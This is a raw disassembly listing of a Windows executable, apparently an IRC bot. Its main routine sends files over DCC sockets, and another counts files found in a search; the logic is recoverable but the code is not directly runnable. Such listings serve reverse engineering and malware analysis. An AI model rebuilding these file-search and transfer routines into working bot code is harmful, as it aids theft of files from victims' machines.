		mov	ecx, esi
		call	sub_40106E
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_40136B
		test	al, al
		jnz	short loc_40C048
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40C08A:				; CODE XREF: sub_40C030+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_40C030	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C0C0	proc near		; CODE XREF: sub_4021EEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401569
sub_40C0C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_40C0D5
		mov	edi, esi


loc_40C0D5:				; CODE XREF: ___:0040C0D1j
		push	esi
		call	sub_402117
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_40C0EA
		mov	edi, esi


loc_40C0EA:				; CODE XREF: ___:0040C0E6j
		push	esi
		call	sub_40215D
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C110	proc near		; CODE XREF: sub_401FEBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_402077
sub_40C110	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C130	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_40C130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C150	proc near		; CODE XREF: sub_401848j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_40C150	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C170	proc near		; CODE XREF: sub_402158j
		mov	eax, ecx
		retn
sub_40C170	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C190	proc near		; CODE XREF: sub_4014B0j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40105A
		mov	eax, esi
		pop	esi
		retn	4
sub_40C190	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C1C0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_40C1C0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C1F0	proc near		; CODE XREF: sub_40106Ej

var_4		= byte ptr -4
arg_4		= byte ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401B9A
		mov	ecx, eax
		call	sub_4016AE
		mov	esi, eax
		push	esi
		call	sub_402117
		push	esi
		mov	ebx, eax
		call	sub_40215D
		mov	ecx, [eax]
		push	ecx
		call	sub_402117
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_40215D
		push	esi
		mov	ebx, eax
		call	sub_402117
		mov	eax, [eax]
		push	eax
		call	sub_40215D
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401221
		push	esi
		mov	ecx, edi
		call	sub_401FEB
sub_40C1F0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C2B0	proc near		; CODE XREF: sub_40215Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_40C2B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C2D0	proc near		; CODE XREF: sub_401569j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_40C2D0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C300	proc near		; CODE XREF: sub_402077j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_40C300	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C320	proc near		; CODE XREF: sub_401F32j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4011AE
		add	esp, 8
		retn	8
sub_40C320	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C350	proc near		; CODE XREF: sub_40105Aj

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_40C350	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C370	proc near		; CODE XREF: sub_4016AEj
		mov	eax, [ecx]
		retn
sub_40C370	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C390	proc near		; CODE XREF: sub_401B9Aj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40133E
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_40C390	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3C0	proc near		; CODE XREF: sub_401221j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_2
		pop	ecx
		retn	4
sub_40C3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C3E0	proc near		; CODE XREF: sub_4011AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40C3FB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40C3FB:				; CODE XREF: sub_40C3E0+11j
		retn
sub_40C3E0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40C430	proc near		; CODE XREF: sub_401BF9j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40C430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	4
		push	0Eh
		push	5
		push	13h
		push	4Fh
		push	3
		push	3
		lea	eax, [esp+48h+var_24]
		push	4
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_40168B
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40C430	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40C4D0	proc near		; CODE XREF: sub_40171Cj

var_AB4		= dword	ptr -0AB4h
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= byte ptr -0A9Ch
var_A98		= byte ptr -0A98h
var_A94		= dword	ptr -0A94h
var_A90		= dword	ptr -0A90h
var_A8C		= dword	ptr -0A8Ch
var_A88		= dword	ptr -0A88h
var_A84		= dword	ptr -0A84h
var_A78		= byte ptr -0A78h
var_A74		= dword	ptr -0A74h
var_A70		= byte ptr -0A70h
var_A6C		= byte ptr -0A6Ch
var_A5C		= byte ptr -0A5Ch
var_A54		= byte ptr -0A54h
var_A3C		= byte ptr -0A3Ch
var_A38		= byte ptr -0A38h
var_A24		= byte ptr -0A24h
var_A1C		= dword	ptr -0A1Ch
var_A18		= dword	ptr -0A18h
var_910		= byte ptr -910h
var_710		= byte ptr -710h
var_510		= byte ptr -510h
var_40C		= byte ptr -40Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40C4D0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0AA0h
		add	ecx, 4
		push	ebx
		push	ebp
		push	esi
		push	edi
		call	sub_4014DD
		mov	ebp, [esp+0ABCh+arg_0]
		push	eax
		lea	ecx, [ebp+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CA1E
		lea	ecx, [esp+0ABCh+var_A78]
		call	sub_401091
		push	1
		push	offset asc_444600 ; " "
		lea	eax, [esp+0AC4h+var_A3C]
		xor	esi, esi
		push	1
		push	eax
		mov	ecx, ebp
		mov	[esp+0ACCh+var_4], esi
		call	sub_4011EA
		push	eax
		lea	ecx, [esp+0AC0h+var_A70]
		mov	byte ptr [esp+0AC0h+var_4], 1
		call	sub_40202C
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		push	esi
		push	1
		push	2
		mov	[esp+0AC8h+var_AA8], esi
		mov	[esp+0AC8h+var_AA4], esi
		mov	[esp+0AC8h+var_A90], esi
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[esp+0ABCh+var_AAC], ebx
		jnz	short loc_40C59C
		lea	ecx, [esp+0ABCh+var_710]
		push	offset aDccFailedToCre ; "[DCC]: Failed	to create socket."
		push	ecx
		call	sub_5F285B
		nop
		add	esp, 8
		jmp	loc_40C9C5
; ---------------------------------------------------------------------------


loc_40C59C:				; CODE XREF: sub_40C4D0+AFj
		xor	edx, edx
		push	esi
		mov	[esp+0AC0h+var_AA0], edx
		mov	word ptr [esp+0AC0h+var_AA0], 2
		mov	dword ptr [esp+0AC0h+var_A9C], edx
		mov	dword ptr [esp+0AC0h+var_A98], edx
		mov	[esp+0AC0h+var_A94], edx
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+0ABCh+var_AA0+2],	ax
		lea	eax, [esp+0ABCh+var_AA0]
		push	10h
		push	eax
		push	ebx
		mov	dword ptr [esp+0AC8h+var_A9C], esi
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_40C5EA
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToBin ; "dcc: failed to bind socket"
		jmp	loc_40C690
; ---------------------------------------------------------------------------


loc_40C5EA:				; CODE XREF: sub_40C4D0+105j
		lea	eax, [esp+0ABCh+var_A88]
		lea	ecx, [esp+0ABCh+var_AA0]
		push	eax
		push	ecx
		push	ebx
		mov	[esp+0AC8h+var_A88], 10h
		nop
		call	near ptr 71AB951Eh
		mov	edx, [esp+0ABCh+var_AA0+2]
		push	edx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0ABCh+var_A70]
		mov	[esp+0ABCh+var_A8C], eax
		call	sub_4014DD
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+0ABCh+var_910]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		xor	edx, edx
		rep movsb


loc_40C643:				; CODE XREF: sub_40C4D0+1A3j
		mov	al, [esp+edx+0ABCh+var_910]
		cmp	al, 20h
		jnz	short loc_40C655
		mov	eax, 5Fh
		jmp	short loc_40C658
; ---------------------------------------------------------------------------


loc_40C655:				; CODE XREF: sub_40C4D0+17Cj
		movsx	eax, al


loc_40C658:				; CODE XREF: sub_40C4D0+183j
		mov	[esp+edx+0ABCh+var_510], al
		lea	edi, [esp+0ABCh+var_910]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		cmp	edx, ecx
		jbe	short loc_40C643
		push	1
		push	ebx
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_40C6AD
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		push	offset aDccFailedToOpe ; "dcc: failed to open socket"


loc_40C690:				; CODE XREF: sub_40C4D0+115j
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9BF
; ---------------------------------------------------------------------------


loc_40C6AD:				; CODE XREF: sub_40C4D0+1B0j
		push	0
		push	0
		push	3
		push	0
		push	1
		push	80000000h
		lea	ecx, [esp+0AD4h+var_A70]
		call	sub_4017EE
		push	eax
		call	near ptr 2850000h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C714
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccFileDoesnTE ; "dcc: file doesn't exist"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	edx, [esp+0ABCh+var_710]
		push	offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist."
		push	edx
		nop
		call	sub_5F285B
		add	esp, 8
		jmp	loc_40C9BF
; ---------------------------------------------------------------------------


loc_40C714:				; CODE XREF: sub_40C4D0+201j
		push	0
		push	esi
		call	near ptr 2840A73h
		nop
		lea	ecx, [esp+0ABCh+var_A54]
		mov	ebx, eax
		call	sub_40142E
		mov	eax, [esp+0ABCh+var_A8C]
		push	ebx
		and	eax, 0FFFFh
		mov	byte ptr [esp+0AC0h+var_4], 2
		push	eax
		mov	eax, dword_4D808D
		push	eax
		call	sub_401E10
		add	esp, 4
		push	eax
		nop
		call	near ptr 71AB2BF4h
		push	eax
		call	near ptr 71AB2BC0h
		nop
		push	eax
		lea	ecx, [esp+0AD0h+var_A78]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+0AD4h+var_A5C]
		push	offset dword_444A00
		push	ecx
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+15h]
		call	sub_40168B
		push	eax
		lea	ecx, [esp+0AC8h+var_A5C]
		call	sub_4014DD
		mov	dl, [ebp+94h]
		push	eax
		mov	al, [ebp+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edi, [esp+0AC4h+var_AB4]
		lea	ecx, [esp+0AC4h+var_A88]
		push	ecx
		push	0
		lea	edx, [esp+0ACCh+var_A1C]
		push	0
		push	edx
		push	0
		mov	[esp+0AD8h+var_A88], 3Ch
		mov	[esp+0AD8h+var_A84], 0
		mov	[esp+0AD8h+var_A18], edi
		mov	[esp+0AD8h+var_A1C], 1
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jg	short loc_40C80D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+93h]
		push	eax
		mov	al, [ebp+94h]
		push	offset aDccTimeout ; "dcc: timeout"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9AA
; ---------------------------------------------------------------------------


loc_40C80D:				; CODE XREF: sub_40C4D0+310j
		lea	edx, [esp+0ABCh+var_A84]
		lea	eax, [esp+0ABCh+var_A24]
		push	edx
		push	eax
		push	edi
		mov	[esp+0AC8h+var_A84], 10h
		nop
		call	near ptr 71AC1028h
		cmp	eax, 0FFFFFFFFh
		mov	[esp+0ABCh+var_A74], eax
		jnz	short loc_40C85D
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	offset aDccUnableToOpe ; "dcc: unable to open socket"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		jmp	loc_40C9AA
; ---------------------------------------------------------------------------


loc_40C85D:				; CODE XREF: sub_40C4D0+360j
		push	edi
		call	near ptr 71AB9639h
		nop
		test	ebx, ebx
		jz	loc_40C915


loc_40C86C:				; CODE XREF: sub_40C4D0+438j
		mov	ebp, 400h
		cmp	ebx, ebp
		jge	short loc_40C877
		mov	ebp, ebx


loc_40C877:				; CODE XREF: sub_40C4D0+3A3j
		mov	edx, ebx
		xor	eax, eax
		neg	edx
		push	2
		mov	ecx, 100h
		lea	edi, [esp+0AC0h+var_40C]
		push	eax
		push	edx
		push	esi
		rep stosd
		nop
		call	near ptr 2840000h
		lea	eax, [esp+0ABCh+var_A90]
		push	0
		push	eax
		lea	ecx, [esp+0AC4h+var_40C]
		push	ebp
		push	ecx
		push	esi
		nop
		call	near ptr 28303F6h
		mov	eax, [esp+0ABCh+var_A74]
		push	0
		lea	edx, [esp+0AC0h+var_40C]
		push	ebp
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [esp+0ABCh+var_AA8]
		mov	ebp, [esp+0ABCh+var_AA4]
		mov	edi, eax
		push	0
		cdq
		add	ecx, eax
		push	400h
		mov	[esp+0AC4h+var_AA8], ecx
		lea	ecx, [esp+0AC4h+var_40C]
		adc	ebp, edx
		mov	edx, [esp+0AC4h+var_A74]
		push	ecx
		push	edx
		mov	[esp+0ACCh+var_AA4], ebp
		nop
		call	near ptr 71AB615Ah
		cmp	eax, 1
		jl	loc_40C9DE
		cmp	edi, 1
		jl	loc_40C9DE
		sub	ebx, edi
		jnz	loc_40C86C
		mov	ebp, [esp+0ABCh+arg_0]


loc_40C915:				; CODE XREF: sub_40C4D0+396j
		push	esi
		nop
		call	near ptr 2830000h
		lea	ecx, [esp+0AB8h+var_A38]
		call	sub_40142E
		mov	eax, [esp+0AB8h+var_AA0]
		mov	ecx, [esp+0AB8h+var_AA4]
		push	eax
		push	ecx
		lea	ecx, [esp+0AC0h+var_A6C]
		mov	byte ptr [esp+0AC0h], 3
		call	sub_4014DD
		mov	edx, [esp+0AC0h+var_A1C]
		push	eax
		push	edx
		nop
		call	near ptr 71AB3F41h
		push	eax
		lea	eax, [esp+0ACCh+var_A3C]
		push	offset aDccCompleteToS ; "dcc: complete	to %s, file: %s, (%d byte"...
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [ebp+69h]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+0AC0h+var_A3C]
		call	sub_4014DD
		mov	cl, [ebp+94h]
		mov	dl, [ebp+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+0ABCh+var_A3C]
		mov	byte ptr [esp+0ABCh+var_4], 2
		call	sub_401226


loc_40C9AA:				; CODE XREF: sub_40C4D0+338j
					; sub_40C4D0+388j
		lea	ecx, [esp+0ABCh+var_A54]
		mov	byte ptr [esp+0ABCh+var_4], 0
		call	sub_401226
		mov	ebx, [esp+0ABCh+var_AAC]


loc_40C9BF:				; CODE XREF: sub_40C4D0+1D8j
					; sub_40C4D0+23Fj
		xor	esi, esi
		cmp	ebx, esi
		jbe	short loc_40C9CC


loc_40C9C5:				; CODE XREF: sub_40C4D0+C7j
		push	ebx
		nop
		call	near ptr 71AB9639h


loc_40C9CC:				; CODE XREF: sub_40C4D0+4F3j
		mov	eax, [esp+0ABCh+var_A74]
		push	eax
		nop
		call	near ptr 71AB9639h
		push	esi
		call	near ptr 282038Ch
		nop


loc_40C9DE:				; CODE XREF: sub_40C4D0+427j
					; sub_40C4D0+430j
		mov	esi, [esp+0ABCh+arg_0]
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	offset aDccSocketError ; "dcc: socket error"
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		mov	edx, [esp+0ABCh+var_A74]
		push	edx
		call	near ptr 71AB9639h
		nop
		push	1
		call	near ptr 282038Ch
		nop


loc_40CA1E:				; CODE XREF: sub_40C4D0+39j
		mov	ecx, [esp+0ABCh+var_C]
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 0AACh
		retn	4
sub_40C4D0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CBA0	proc near		; CODE XREF: sub_401091j
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_40CBA0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CBC0:				; CODE XREF: ___:loc_401B13j
		add	ecx, 8
		jmp	sub_401226
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40CBE0	proc near		; CODE XREF: sub_402063j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CBE0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	esi
		push	0
		push	5
		push	0Ch
		push	9
		lea	eax, [esp+38h+var_24]
		push	6
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+2Ch+var_4], 0
		call	sub_4017EE
		add	esi, 4
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40CBE0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esp+4]
		mov	dword ptr [esp+24h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CC80	proc near		; CODE XREF: sub_401BB8j

var_279		= byte ptr -279h
var_278		= byte ptr -278h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= byte ptr -258h
var_247		= byte ptr -247h
var_232		= byte ptr -232h
var_221		= dword	ptr -221h
var_21D		= dword	ptr -21Dh
var_219		= dword	ptr -219h
var_215		= dword	ptr -215h
var_211		= dword	ptr -211h
var_20C		= byte ptr -20Ch
var_208		= byte ptr -208h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_40CC80
		push	eax
		mov	large fs:0, esp
		sub	esp, 270h
		add	ecx, 4
		push	esi
		call	sub_4014DD
		mov	esi, [esp+280h+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_40CE81
		push	ebx
		lea	ecx, [esp+284h+var_260]
		call	sub_40199C
		lea	eax, [esi+2Ah]
		xor	ebx, ebx
		push	eax
		lea	ecx, [esp+288h+var_25C]
		mov	[esp+288h+var_4], ebx
		mov	[esp+288h+var_260], ebx
		call	sub_40202C
		push	1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+28Ch+var_278]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 1
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_247]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		push	1
		push	offset asc_444600 ; " "
		lea	edx, [esp+28Ch+var_278]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, eax
		mov	byte ptr [esp+284h+var_4], 2
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+288h+var_232]
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226
		mov	edx, [esp+284h+var_221]
		xor	eax, eax
		mov	al, [esi+94h]
		xor	ecx, ecx
		mov	cl, [esi+93h]
		mov	[esp+284h+var_219], eax
		lea	eax, [esp+284h+var_278]
		mov	[esp+284h+var_215], ecx
		push	edx
		push	eax
		lea	ecx, [esp+28Ch+var_232]
		mov	[esp+28Ch+var_21D], ebx
		mov	[esp+28Ch+var_211], 1
		call	sub_401E47
		push	offset asc_444AD4 ; "\\"
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 3
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		setz	[esp+284h+var_279]
		call	sub_401226
		cmp	[esp+284h+var_279], bl
		jz	short loc_40CDFB
		mov	ecx, [esp+284h+var_221]
		lea	edx, [esp+284h+var_278]
		push	ecx
		push	edx
		lea	ecx, [esp+28Ch+var_232]
		call	sub_401E47
		push	offset dword_448F34
		mov	ecx, eax
		mov	byte ptr [esp+288h+var_4], 4
		call	sub_401A9B
		lea	ecx, [esp+284h+var_278]
		mov	byte ptr [esp+284h+var_4], bl
		call	sub_401226


loc_40CDFB:				; CODE XREF: sub_40CC80+142j
		push	ebx
		lea	ecx, [esp+288h+var_232]
		call	sub_4014DD
		push	eax
		lea	ecx, [esp+28Ch+var_247]
		call	sub_4014DD
		push	eax
		mov	eax, [esp+290h+var_219]
		push	eax
		lea	ecx, [esp+294h+var_25C]
		call	sub_40168B
		mov	ecx, [esp+294h+var_260]
		push	eax
		push	ecx
		call	sub_40227A
		push	eax
		lea	edx, [esp+2A0h+var_20C]
		push	offset aFilesFoundD ; "Files Found: %d"
		push	edx
		nop
		call	sub_5F285B
		mov	eax, [esp+2A4h+var_211]
		add	esp, 24h
		cmp	eax, ebx
		jnz	short loc_40CE6C
		mov	eax, [esp+280h+var_215]
		lea	ecx, [esp+280h+var_208]
		push	eax
		push	ecx
		lea	ecx, [esp+288h+var_258]
		call	sub_40168B
		mov	edx, [esp+288h+var_25C]
		push	eax
		push	edx
		call	sub_40152D
		add	esp, 10h


loc_40CE6C:				; CODE XREF: sub_40CC80+1C9j
		mov	eax, [esp+280h+var_219]
		push	eax
		call	sub_401E3D
		add	esp, 4
		push	ebx
		nop
		call	near ptr 282038Ch
		pop	ebx


loc_40CE81:				; CODE XREF: sub_40CC80+36j
		mov	ecx, [esp+280h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 27Ch
		retn	4
sub_40CC80	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CF30	proc near		; CODE XREF: sub_40199Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40CF30
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_40142E
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_40CF30	endp

